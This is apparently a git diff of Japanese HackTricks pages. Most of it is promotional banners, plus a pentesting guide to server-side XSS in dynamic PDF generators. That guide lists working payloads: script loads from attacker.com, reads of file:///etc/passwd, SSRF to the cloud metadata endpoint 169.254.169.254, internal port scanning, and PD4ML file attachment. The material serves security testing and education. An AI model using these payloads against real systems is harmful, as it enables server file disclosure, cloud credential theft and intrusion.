* [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)
* [https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/](https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/)
{% hint style="success" %}
AWSハッキングを学び、練習する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、練習する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,33 +1,35 @@
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする**
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する**
</details>
**入力がPDFファイル内に反映されている場合、JavaScriptを実行したりPDFコンテンツを盗むためにPDFデータをインジェクトできます。**
投稿をチェック: [**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration)
{% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする**
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してハッキングトリックを共有してください。**
</details>
{% endhint %}
**PDFファイル内に入力が反映されている場合、PDFデータを注入してJavaScriptを実行したり、PDFコンテンツを盗むことを試みることができます。**
投稿を確認してください: [**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration)
{% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してハッキングトリックを共有してください。**
</details>
{% endhint %}

View file

@ -1,34 +1,39 @@
# サーバーサイドXSSダイナミックPDF
# サーバーサイドXSS動的PDF
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を使って、ゼロからヒーローまでAWSハッキングを学ぶ</summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
- **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
## サーバーサイドXSSダイナミックPDF
## サーバーサイドXSS動的PDF
Webページがユーザーが制御する入力を使用してPDFを作成している場合、PDFを作成している**ボットをだます**ことができ、**任意のJSコードを実行**させることができます。\
したがって、**PDF作成ボットが**いくつかの種類の**HTML** **タグを見つけると**、それらを**解釈**し、この動作を悪用して**サーバーXSS**を引き起こすことができます。
ユーザー制御の入力を使用してPDFを作成しているウェブページがある場合、PDFを作成しているボットを**だまして任意のJSコードを実行させる**ことができます。\
したがって、**PDF作成ボットが**何らかの**HTML** **タグ**を見つけると、それを**解釈**し、この動作を**悪用**して**サーバーXSS**を引き起こすことができます。
`<script></script>` タグが常に機能しないことに注意してください。そのため、JSを実行するためには別の方法が必要ですたとえば、`<img` を悪用する)。\
また、通常の攻撃では、作成されたPDFを**見る/ダウンロードすることができる**ため、JSを介して書いたすべてのものを見ることができますたとえば、`document.write()`を使用。ただし、作成されたPDFを**見ることができない**場合は、おそらく**Webリクエストを送信して情報を抽出する必要がある**でしょうBlind
`<script></script>`タグは常に機能するわけではないので、JSを実行するために別の方法が必要です例えば、`<img`を悪用するなど)。\
また、通常のエクスプロイトでは、作成されたPDFを**見る/ダウンロードすることができる**ため、**JSを介して書いたもの**(例えば`document.write()`を使用をすべて見ることができます。しかし、作成されたPDFを**見ることができない**場合、**情報を抽出するためにウェブリクエストを行う必要がある**(ブラインド)かもしれません
### 人気のあるPDF生成
### 人気のPDF生成
- **wkhtmltopdf** は、HTMLとCSSをPDFドキュメントに変換する能力で知られており、WebKitレンダリングエンジンを利用しています。このツールはオープンソースのコマンドラインユーティリティとして利用可能であり、幅広いアプリケーションで利用できます。
- **TCPDF** は、PHPエコシステム内でPDF生成のための堅牢なソリューションを提供しています。画像、グラフィック、暗号化を処理でき、複雑なドキュメントを作成するための柔軟性を示しています。
- Node.js環境で作業している場合、**PDFKit** は適切な選択肢です。HTMLとCSSから直接PDFドキュメントを生成でき、Webコンテンツと印刷可能な形式の間の橋渡しを提供します。
- Java開発者は、PDF作成だけでなくデジタル署名やフォーム入力などの高度な機能をサポートするライブラリである**iText** を好むかもしれません。包括的な機能セットにより、安全でインタラクティブなドキュメントを生成するのに適しています。
- **FPDF** は、シンプルさと使いやすさで区別される別のPHPライブラリです。広範な機能を必要とせずにPDF生成に取り組む開発者向けに設計されています。
- **wkhtmltopdf**は、HTMLとCSSをPDF文書に変換する能力で知られており、WebKitレンダリングエンジンを利用しています。このツールはオープンソースのコマンドラインユーティリティとして利用可能で、幅広いアプリケーションにアクセスできます。
- **TCPDF**は、PDF生成のためのPHPエコシステム内で堅牢なソリューションを提供します。画像、グラフィックス、暗号化を処理でき、複雑な文書を作成するための多様性を示しています。
- Node.js環境で作業している人には、**PDFKit**が実行可能なオプションを提供します。HTMLとCSSから直接PDF文書を生成でき、ウェブコンテンツと印刷可能なフォーマットの橋渡しをします。
- Java開発者は、PDF作成を促進するだけでなく、デジタル署名やフォーム入力などの高度な機能もサポートするライブラリ**iText**を好むかもしれません。その包括的な機能セットは、安全でインタラクティブな文書を生成するのに適しています。
- **FPDF**は、シンプルさと使いやすさで際立つ別のPHPライブラリです。広範な機能を必要とせず、PDF生成に対して簡単なアプローチを求める開発者向けに設計されています。
## ペイロード
### 発見
```markup
<!-- Basic discovery, Write somthing-->
<img src="x" onerror="document.write('test')" />
@ -43,7 +48,7 @@ Webページがユーザーが制御する入力を使用してPDFを作成し
```
### SVG
前述のいずれかのペイロードを、このSVGペイロード内で使用できます。Burpcollabサブドメインにアクセスする1つのiframeと、メタデータエンドポイントにアクセスする別のiframeが例として挙げられています。
このSVGペイロード内で、前述のペイロードのいずれかを使用できます。Burpcollabサブドメインにアクセスするiframeと、メタデータエンドポイントにアクセスする別のiframeが例として示されています。
```markup
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
@ -68,7 +73,7 @@ alert(1);
</script>
</svg>
```
あなたは[**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)で多くの**他のSVGペイロード**を見つけることができます。
他の**SVGペイロード**は[**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)で見つけることができます。
### パス開示
```markup
@ -77,19 +82,19 @@ if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>
```
### 外部スクリプトの読み込み
### 外部スクリプトを読み込む
この脆弱性を悪用する最も確実な方法は、ボットがローカルでコントロールするスクリプトを読み込むように脆弱性を悪用することです。その後、ペイロードをローカルで変更し、ボットが常に同じコードでそれを読み込むようにします。
この脆弱性を利用する最も適切な方法は、脆弱性を悪用してボットにあなたがローカルで制御するスクリプトを読み込ませることです。そうすれば、ペイロードをローカルで変更し、ボットが毎回同じコードでそれを読み込むようにすることができます。
```markup
<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
```
### ローカルファイルの読み取り / SSRF
### ローカルファイルを読み取る / SSRF
{% hint style="warning" %}
例として `file:///etc/passwd``http://169.254.169.254/latest/user-data` に変更して、外部のウェブページにアクセスしようとしてくださいSSRF
`file:///etc/passwd`を`http://169.254.169.254/latest/user-data`に変更して、**外部ウェブページにアクセスを試みてください (SSRF)**
SSRFが許可されている場合でも、興味深いドメインやIPに到達できない場合は、[潜在的なバイパスをチェックするためにこのページを確認してください](../ssrf-server-side-request-forgery/url-format-bypass.md)。
SSRFが許可されているが、興味深いドメインやIPに**到達できない**場合は、[このページを確認してバイパスの可能性を探ってください](../ssrf-server-side-request-forgery/url-format-bypass.md)。
{% endhint %}
```markup
<script>
@ -124,7 +129,7 @@ xhzeem.send();
```markup
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />
```
### ボット遅延
### ボット遅延
```markup
<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
@ -156,13 +161,13 @@ checkPort(i);
```
### [SSRF](../ssrf-server-side-request-forgery/)
この脆弱性は、スクリプトが外部リソースを読み込むことができるため、SSRFに非常に簡単に変換できます。そのため、単にそれを悪用してみてくださいメタデータを読む?)。
この脆弱性は非常に簡単にSSRFに変換できますスクリプトが外部リソースを読み込むことができるため。だから、ただこれを悪用してみてくださいメタデータを読み取る?)。
### 添付ファイル: PD4ML
### Attachments: PD4ML
いくつかのHTML 2 PDFエンジンは、**PD4ML**のように**PDFに添付ファイルを指定**することができます。この機能を悪用して、**PDFに任意のローカルファイルを添付**することができます。\
添付ファイルを開くに、**Firefoxでファイルを開き、ペーパークリップシンボルをダブルクリック**して、添付ファイルを新しいファイルとして**保存**しま。\
Burpで**PDFレスポンス**をキャプチャすると、PDF内の添付ファイルが**クリアテキストで表示**されるはずです。
**PDFの添付ファイルを指定する**ことを許可するHTML 2 PDFエンジンがいくつかあります。例えば、**PD4ML**です。この機能を悪用して、**任意のローカルファイルをPDFに添付**できます。\
添付ファイルを開くために、**Firefoxでファイルを開き、クリップシンボルをダブルクリックして**添付ファイルを新しいファイルとして**保存**しました。\
burpで**PDFレスポンスをキャプチャ**することも、PDF内に**クリアテキストで添付ファイルを表示**するはずです。
{% code overflow="wrap" %}
```html
@ -178,16 +183,17 @@ Burpで**PDFレスポンス**をキャプチャすると、PDF内の添付ファ
* [https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html](https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html)
* [https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c](https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c)
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する。
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}

View file

@ -1,31 +1,34 @@
# Shadow DOM
# シャドウDOM
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}
**このブログをチェックしてください:[https://blog.ankursundara.com/shadow-dom/](https://blog.ankursundara.com/shadow-dom/)** およびこの**CTFチャレンジ[https://github.com/Super-Guesser/ctf/blob/master/2022/dicectf/shadow.md](https://github.com/Super-Guesser/ctf/blob/master/2022/dicectf/shadow.md)**
**このブログをチェックしてください:[https://blog.ankursundara.com/shadow-dom/](https://blog.ankursundara.com/shadow-dom/)** およびこの **CTFチャレンジ[https://github.com/Super-Guesser/ctf/blob/master/2022/dicectf/shadow.md](https://github.com/Super-Guesser/ctf/blob/master/2022/dicectf/shadow.md)**
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}

View file

@ -1,23 +1,39 @@
# スニフリーク
# Sniff Leak
{% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を使って、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する
* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}
## UTF16に変換してスクリプトコンテンツをリークす
## UTF16に変換してスクリプトコンテンツを漏洩させ
[**この解説**](https://blog.huli.tw/2022/08/01/en/uiuctf-2022-writeup/#modernism21-solves)は、`X-Content-Type-Options: nosniff`ヘッダーがないため、javascriptがコンテンツをUTF-16と認識するような初期文字を追加して、text/plainをリークします。
[**この書き込み**](https://blog.huli.tw/2022/08/01/en/uiuctf-2022-writeup/#modernism21-solves)は、`X-Content-Type-Options: nosniff`ヘッダーがないため、最初のいくつかの文字を追加することでtext/plainを漏洩させ、JavaScriptがコンテンツをUTF-16として認識するようにします。
## ICOとして扱うことでスクリプトコンテンツをリークす
## ICOとして扱ってスクリプトコンテンツを漏洩させ
[**次の解説**](https://blog.huli.tw/2022/08/01/en/uiuctf-2022-writeup/#precisionism3-solves)は、スクリプトコンテンツをICO画像として読み込んで`width`パラメータにアクセスすることでリークします。
[**次の書き込み**](https://blog.huli.tw/2022/08/01/en/uiuctf-2022-writeup/#precisionism3-solves)は、`width`パラメータにアクセスしてICO画像としてロードすることでスクリプトコンテンツを漏洩させます。
{% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}

View file

@ -1,16 +1,17 @@
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする**
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
